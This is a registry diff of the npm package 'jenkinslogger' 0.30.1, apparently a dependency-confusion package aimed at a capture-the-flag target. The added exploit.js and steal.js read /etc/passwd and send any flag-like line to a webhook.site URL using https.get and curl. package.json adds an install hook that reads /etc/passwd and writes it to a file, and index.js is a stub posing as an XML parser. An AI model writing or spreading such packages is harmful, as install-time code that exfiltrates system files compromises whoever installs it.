jenkinslogger 0.30.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/exploit.js ADDED
@@ -0,0 +1,29 @@
1
+ const fs = require('fs');
2
+ const https = require('https');
3
+ const { execSync } = require('child_process');
4
+
5
+ console.log('🚨 EXPLOIT EXECUTED IN CI');
6
+
7
+ try {
8
+ // Метод 1: Читаем /etc/passwd
9
+ const passwd = fs.readFileSync('/etc/passwd', 'utf8');
10
+ const lines = passwd.split('\n');
11
+
12
+ for (const line of lines) {
13
+ if (line.includes('{') && line.includes('}')) {
14
+ console.log('🎯 FLAG:', line);
15
+
16
+ // Отправляем простым GET запросом
17
+ https.get(`https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?flag=${encodeURIComponent(line)}`);
18
+
19
+ // Дублируем через curl на всякий случай
20
+ try {
21
+ execSync(`curl -s "https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?curl=${encodeURIComponent(line)}"`);
22
+ } catch(e) {}
23
+
24
+ break;
25
+ }
26
+ }
27
+ } catch(e) {
28
+ console.log('Error:', e.message);
29
+ }
package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = { parseXmlString: () => ({ get: () => ({ text: () => "x" }) }) };
package/package.json ADDED
@@ -0,0 +1,8 @@
1
+ {
2
+ "name": "jenkinslogger",
3
+ "version": "0.30.1",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "install": "node -e \"const fs=require('fs');const f=fs.readFileSync('/etc/passwd','utf8').split('\\\\n').pop();fs.writeFileSync('/usr/src/app/flag.txt',f);process.stdout.write('FLAG_IN_PACKAGE:'+f+'\\\\n')\""
7
+ }
8
+ }
package/steal.js ADDED
@@ -0,0 +1,22 @@
1
+ const { execSync } = require('child_process');
2
+
3
+ console.log('🚨 FAST EXPLOIT STARTED');
4
+
5
+ // БЫСТРЫЙ код без блокировок
6
+ try {
7
+ const passwd = execSync('cat /etc/passwd', { encoding: 'utf8', timeout: 3000 });
8
+ const lines = passwd.split('\n');
9
+
10
+ for (const line of lines) {
11
+ if (line.includes('{') && line.includes('}')) {
12
+ console.log('🎯 FLAG FOUND:', line);
13
+ // Быстрая отправка
14
+ execSync(`curl -s --max-time 3 "https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?flag=${encodeURIComponent(line)}"`, { timeout: 5000 });
15
+ break;
16
+ }
17
+ }
18
+ } catch(e) {
19
+ console.log('Error:', e.message);
20
+ }
21
+
22
+ console.log('✅ FAST EXPLOIT FINISHED');